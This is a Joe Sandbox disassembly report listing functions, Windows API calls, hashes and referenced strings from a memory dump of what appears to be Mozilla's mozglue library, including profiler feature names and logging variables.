Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: ConditionExclusiveInitializeLockReleaseVariable
String ID:
API String ID: 4169067295-0
Opcode ID: 9a5322796db00c5436d4d71ef8217100cbea9abd617bdd2e7fdec6a9f97f10ff
Instruction ID: 6f1aada7e48c7730b00fd70403c2b65579dce0f29b24559aed90b62e0cae2127
Opcode Fuzzy Hash: 9a5322796db00c5436d4d71ef8217100cbea9abd617bdd2e7fdec6a9f97f10ff
Instruction Fuzzy Hash: F7A180706183818FC719CF25C5907AEFBE2BF89308F44491DE88A97B51DB70E849CB96

Function 6C62B700 Relevance: 4.5, APIs: 3, Instructions: 41nativeCOMMON

Download Yara Rule

APIs

NtQueryVirtualMemory.NTDLL ref: 6C62B720
RtlNtStatusToDosError.NTDLL ref: 6C62B75A
RtlSetLastWin32Error.NTDLL(00000000,00000000,000000FF,00000000,00000000,?,0000001C,6C5FFE3F,00000000,00000000,?,?,00000000,?,6C5FFE3F), ref: 6C62B760

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Error$LastMemoryQueryStatusVirtualWin32
String ID:
API String ID: 304294125-0
Opcode ID: b7aee05e5a259f4f5bd24e6db92d24755002c477ff37a1bf7c4e3989651ec5da
Instruction ID: f627fafa43f1abc976534fdf3b46e0aa794244a503421bf0f157c40b5b807a5c
Opcode Fuzzy Hash: b7aee05e5a259f4f5bd24e6db92d24755002c477ff37a1bf7c4e3989651ec5da
Instruction Fuzzy Hash: F0F0C87094021CAEDF019AA1CC84BDF77BCDB4431DF106229E516615C0D77895CCCB6C

Function 6C5E4640 Relevance: 4.3, APIs: 1, Strings: 1, Instructions: 1251memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00001000,00000004), ref: 6C5E4777

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C5E5585, 6C5E55A8, 6C5E55C3, 6C5E5624

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 4275171209-1351931279
Opcode ID: 3c81075037418990854b9400eb71c81a07b40d6921a129d3cb5fb1407638eb77
Instruction ID: 688bc510daeede934bc06b079bcbd8018d85cdba05cd1fb451d4dcb8abf40aa1
Opcode Fuzzy Hash: 3c81075037418990854b9400eb71c81a07b40d6921a129d3cb5fb1407638eb77
Instruction Fuzzy Hash: FEB24C71A057018FD708CF19C990615BBE2BFC9328F29C7ADE46A8B7A5D771E841CB81

Function 6C6285F0 Relevance: 3.6, APIs: 2, Instructions: 619COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C628C7C
__aulldiv.LIBCMT ref: 6C628DD7

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction ID: 19ffe008ecafb52648a9776aebf0e11e60013f91cc70665a021739d132c0b744
Opcode Fuzzy Hash: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction Fuzzy Hash: 7E327372F011198BDF18CE9CC8A1BAEB7B2FB88304F15853AD506BB7A0D6385D458F95

Function 6C6376E3 Relevance: 1.8, Strings: 1, Instructions: 540COMMON

Download Yara Rule

Strings

~q\l, xrefs: 6C6379FB, 6C637B0B, 6C63793C, 6C637E0B, 6C637796, 6C6379C0

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID:
String ID: ~q\l
API String ID: 0-2912761343
Opcode ID: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction ID: 8b3aee515b7aec1e21211c5421b396390ef2946d6474ce8363091e56ca218689
Opcode Fuzzy Hash: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction Fuzzy Hash: E3320871E00629CFCB14CF98C990A9DF7F2BF88308F549169C949A7745D731A986CF94

Function 6C636E63 Relevance: 1.7, Strings: 1, Instructions: 498COMMON

Download Yara Rule

Strings

~q\l, xrefs: 6C6379FB, 6C637B0B, 6C63793C, 6C637E0B, 6C637C72, 6C6379C0, 6C637C03

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID:
String ID: ~q\l
API String ID: 0-2912761343
Opcode ID: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction ID: 914340d79fd6a158429c4a727edae85139db6b746516b631a2b629be3e0283cd
Opcode Fuzzy Hash: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction Fuzzy Hash: F822D771E00229CFDB14CF98C980A9DF7F2BF89304F6491AAC549A7745D731A986CF94

Function 6C605C10 Relevance: 1.6, APIs: 1, Instructions: 333COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,?,6C5D4A63,?,?), ref: 6C605F06

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: 52f0fd8201af3482fae850519b85c674c2db3986549c8bf5f4599487d02f73ed
Instruction ID: 68341ea4aced98efbe536f7db206bc722c2521dc640a5740f907d79e7ea94445
Opcode Fuzzy Hash: 52f0fd8201af3482fae850519b85c674c2db3986549c8bf5f4599487d02f73ed
Instruction Fuzzy Hash: 79C19E75E012098BCB08CF55C6906DEBBF2FF8A318F288159D8557BB44D731A806CF98

Function 6C5CDFE0 Relevance: .7, Instructions: 683COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4aa19c15681255b78fbfbb9f59de100d4050df52ad03cd152351cbe8604ecd02
Instruction ID: 06ddb1ee83bf0aa35490d7d1ebdb412b7f6fa879ef5c655528a895d34a87e2da
Opcode Fuzzy Hash: 4aa19c15681255b78fbfbb9f59de100d4050df52ad03cd152351cbe8604ecd02
Instruction Fuzzy Hash: E942D232B187508BD314CE7CC89135AB3E2BFC9364F094B2DE999A7791D774D9418B82

Function 6C5F0512 Relevance: .5, Instructions: 466COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction ID: 3945af931951f740eaf189df7d3033ed920ecd74ef54b6a6e6def6ac4bccceca
Opcode Fuzzy Hash: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction Fuzzy Hash: 4B222875E00619CFDB18CF98C890AADF7B2FF88304F588699C45AA7745D770A986CF90

Function 6C63AC00 Relevance: .4, Instructions: 445COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c0e4b758ba90b277adb51f8cf46a08b64a47432b1e657a7b1a02790b47ab8714
Instruction ID: bb68ae06108836c480beb54ce5e8cc186aaef97af16b4e23b263b537b81c23f3
Opcode Fuzzy Hash: c0e4b758ba90b277adb51f8cf46a08b64a47432b1e657a7b1a02790b47ab8714
Instruction Fuzzy Hash: 24F16B71A087554FDB00CE68C8807AAB7E2AFC6318F15BA1DE4D8877C2E374D8459796

Function 6C5CC670 Relevance: .3, Instructions: 285COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction ID: c905c75cdbf882fae34d2adaaf600d87b122e757dd3fd2a1cd698485a536b837
Opcode Fuzzy Hash: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction Fuzzy Hash: 2AA19071F0061A8BDB08CEA9C8913AEB7F2EFC9354F18812DD915E7781D734AC068B91

Function 6C607710 Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Process$CurrentTerminate
String ID:
API String ID: 2429186680-0
Opcode ID: 66a2144a34fe28f61a57358a86ee5da45cca7910529baf2240b2392f08636dfe
Instruction ID: 28f2e424e89656e6fcaa1ef1cde31c890f53d49cc8b1fa56851bfe404af7672a
Opcode Fuzzy Hash: 66a2144a34fe28f61a57358a86ee5da45cca7910529baf2240b2392f08636dfe
Instruction Fuzzy Hash: 1E715A75E012198FCB18CFA9D9905EDBBB2FF89314F24816ED815BB740D731A905CB94

Function 6C60CC00 Relevance: 73.7, APIs: 25, Strings: 24, Instructions: 233
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6C5D582D), ref: 6C60CC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6C5D582D), ref: 6C60CC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6C63FE98,?,?,?,?,?,6C5D582D), ref: 6C60CC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6C5D582D), ref: 6C60CC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6C5D582D), ref: 6C60CC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6C5D582D), ref: 6C60CC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6C5D582D), ref: 6C60CCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6C60CCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6C60CCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6C60CCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6C60CCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6C60CD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6C60CD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6C60CD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6C60CDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6C60CDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6C60CDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6C60CDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6C60CE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6C60CE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6C60CE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6C60CE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6C60CE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6C60CE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6C60CE8A

Strings

stackwalk, xrefs: 6C60CCF8
noiostacks, xrefs: 6C60CCBE
processcpu, xrefs: 6C60CE6E
seqstyle, xrefs: 6C60CCE6
cpuallthreads, xrefs: 6C60CE16
nostacksampling, xrefs: 6C60CD7C
fileioall, xrefs: 6C60CCA8
mainthreadio, xrefs: 6C60CC7C
preferencereads, xrefs: 6C60CD92
jsallocations, xrefs: 6C60CD0E
markersallthreads, xrefs: 6C60CE42
audiocallbacktracing, xrefs: 6C60CDD4
unregisteredthreads, xrefs: 6C60CE58
leaf, xrefs: 6C60CC66
Unrecognized feature "%s"., xrefs: 6C60CEA0
ipcmessages, xrefs: 6C60CDBE
java, xrefs: 6C60CC37
default, xrefs: 6C60CC21
samplingallthreads, xrefs: 6C60CE2C
nativeallocations, xrefs: 6C60CDA8
fileio, xrefs: 6C60CC92
screenshots, xrefs: 6C60CCD4
notimerresolutionchange, xrefs: 6C60CE00
power, xrefs: 6C60CE84

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-2809817890
Opcode ID: f024ef2f86313e23e549c01f220e9acb0c1546119d6e5f6d12020b380653de6b
Instruction ID: 0157032341d49200f80903b149b0c9f35765b3cae3350caac7a101b7dc0dce10
Opcode Fuzzy Hash: f024ef2f86313e23e549c01f220e9acb0c1546119d6e5f6d12020b380653de6b
Instruction Fuzzy Hash: F05156C1B4563572FA0931156E20BAA1485EF6334AF107539EE0FB5EC0FB059A1AC9BF

Function 6C5D47C0 Relevance: 49.2, APIs: 23, Strings: 5, Instructions: 232threadCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C5D4801
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C5D4817
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C5D482D
__Init_thread_footer.LIBCMT ref: 6C5D484A

Part of subcall function 6C5FAB3F: EnterCriticalSection.KERNEL32(6C64E370,?,?,6C5C3527,6C64F6CC,?,?,?,?,?,?,?,?,6C5C3284), ref: 6C5FAB49
Part of subcall function 6C5FAB3F: LeaveCriticalSection.KERNEL32(6C64E370,?,6C5C3527,6C64F6CC,?,?,?,?,?,?,?,?,6C5C3284,?,?,6C5E56F6), ref: 6C5FAB7C

GetCurrentThreadId.KERNEL32 ref: 6C5D485F
GetCurrentThreadId.KERNEL32 ref: 6C5D487E
AcquireSRWLockExclusive.KERNEL32(6C64F4B8), ref: 6C5D488B
free.MOZGLUE(?), ref: 6C5D493A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5D4956
free.MOZGLUE(00000000), ref: 6C5D4960
ReleaseSRWLockExclusive.KERNEL32(6C64F4B8), ref: 6C5D499A

Part of subcall function 6C5FAB89: EnterCriticalSection.KERNEL32(6C64E370,?,?,?,6C5C34DE,6C64F6CC,?,?,?,?,?,?,?,6C5C3284), ref: 6C5FAB94
Part of subcall function 6C5FAB89: LeaveCriticalSection.KERNEL32(6C64E370,?,6C5C34DE,6C64F6CC,?,?,?,?,?,?,?,6C5C3284,?,?,6C5E56F6), ref: 6C5FABD1

free.MOZGLUE(?), ref: 6C5D49C6
free.MOZGLUE(?), ref: 6C5D49E9

Part of subcall function 6C5E5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C5E5EDB
Part of subcall function 6C5E5E90: memset.VCRUNTIME140(ewbl,000000E5,?), ref: 6C5E5F27
Part of subcall function 6C5E5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C5E5FB2

Strings

MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C5D47FC
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C5D4828
MOZ_PROFILER_SHUTDOWN, xrefs: 6C5D4A42
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C5D4812
[I %d/%d] profiler_shutdown, xrefs: 6C5D4A06

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: CriticalSection$free$EnterLeavegetenv$CurrentExclusiveLockThread$AcquireInit_thread_footerReleasememset
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_SHUTDOWN$[I %d/%d] profiler_shutdown
API String ID: 1340022502-4194431170
Opcode ID: 97be4833ebe3a85f0a74eebabbc742501f9f3069576b9d8413a67fb987934caa
Instruction ID: c9d992be7124ec4755dc787d96adeb0bf6c3026c2fd144a800f1fa82d334482d
Opcode Fuzzy Hash: 97be4833ebe3a85f0a74eebabbc742501f9f3069576b9d8413a67fb987934caa
Instruction Fuzzy Hash: 6F81C271A002008BDB14EF6ECC8475A3776EF8232CF168665D91697B42EB31F855CB9E

Function 6C5D4470 Relevance: 45.7, APIs: 20, Strings: 6, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5D4730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C5D44B2,6C64E21C,6C64F7F8), ref: 6C5D473E
Part of subcall function 6C5D4730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C5D474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6C5D44BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6C5D44D2
InitOnceExecuteOnce.KERNEL32(6C64F80C,6C5CF240,?,?), ref: 6C5D451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C5D455C
LoadLibraryW.KERNEL32(?), ref: 6C5D4592
InitializeCriticalSection.KERNEL32(6C64F770), ref: 6C5D45A2
moz_xmalloc.MOZGLUE(00000008), ref: 6C5D45AA
moz_xmalloc.MOZGLUE(00000018), ref: 6C5D45BB
InitOnceExecuteOnce.KERNEL32(6C64F818,6C5CF240,?,?), ref: 6C5D4612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6C5D4636
LoadLibraryW.KERNEL32(user32.dll), ref: 6C5D4644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6C5D466D
VerSetConditionMask.NTDLL ref: 6C5D469F
VerSetConditionMask.NTDLL ref: 6C5D46AB
VerSetConditionMask.NTDLL ref: 6C5D46B2
VerSetConditionMask.NTDLL ref: 6C5D46B9
VerSetConditionMask.NTDLL ref: 6C5D46C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C5D46CD
GetModuleHandleW.KERNEL32(00000000), ref: 6C5D46F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6C5D46FD

Strings

user32.dll, xrefs: 6C5D4557, 6C5D463F
Gdl, xrefs: 6C5D44FC
kernel32.dll, xrefs: 6C5D44CD
l, xrefs: 6C5D4578
NativeNtBlockSet_Write, xrefs: 6C5D46F7
WRusr.dll, xrefs: 6C5D44B5

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: Gdl$NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-301897313
Opcode ID: dfcf9ecb1b733e6f8406dd1ba99d4c3203ed45f77ae68f5896885df8366b912a
Instruction ID: 51a20b3266608fa42c321d5f3ae4b49736d366ba45dafb63ee19ce4b4190214e
Opcode Fuzzy Hash: dfcf9ecb1b733e6f8406dd1ba99d4c3203ed45f77ae68f5896885df8366b912a
Instruction Fuzzy Hash: E56135B0604344AFEB00AF66CC89B997BB8EF8230CF05C558E5088B641D7B5A945CF5E

Function 6C60F6E0 Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 235threadstringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C609420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C5D4A68), ref: 6C60945E
Part of subcall function 6C609420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C609470
Part of subcall function 6C609420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C609482
Part of subcall function 6C609420: __Init_thread_footer.LIBCMT ref: 6C60949F

GetCurrentThreadId.KERNEL32 ref: 6C60F70E
??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6C60F8F9

Part of subcall function 6C5D6390: GetCurrentThreadId.KERNEL32 ref: 6C5D63D0
Part of subcall function 6C5D6390: AcquireSRWLockExclusive.KERNEL32 ref: 6C5D63DF
Part of subcall function 6C5D6390: ReleaseSRWLockExclusive.KERNEL32 ref: 6C5D640E

ReleaseSRWLockExclusive.KERNEL32(6C64F4B8), ref: 6C60F93A
GetCurrentThreadId.KERNEL32 ref: 6C60F98A
